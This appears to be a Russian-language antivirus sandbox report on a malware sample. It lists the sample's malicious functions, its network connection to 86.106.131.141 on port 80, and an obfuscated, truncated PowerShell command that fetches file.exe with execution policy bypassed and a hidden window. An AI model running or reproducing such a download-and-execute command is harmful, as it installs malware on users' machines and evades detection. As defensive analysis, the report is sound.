Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://86.106.131.141/file.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^WeRSh^E^ll.eX^E ^-^E^X^EcUTIONpO^L^icY B^ypAS^S -NOp^roFi^L^E -w^iN^D^O^w^sTYLe^ HiD^d^En^ (^NeW-ObJECT SYst^e^m.NEt^.w^eb^CLiENT).d^O^WN^lOAd^fIle^('http://86.106.131.14...
Сетевая активность
Подключается к
- '86.##6.131.141':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^WeRSh^E^ll.eX^E ^-^E^X^EcUTIONpO^L^icY B^ypAS^S -NOp^roFi^L^E -w^iN^D^O^w^sTYLe^ HiD^d^En^ (^NeW-ObJECT SYst^e^m.NEt^.w^eb^CLiENT).d^O^WN^lOAd^fIle^('http://86.106.131.14...' (со скрытым окном)
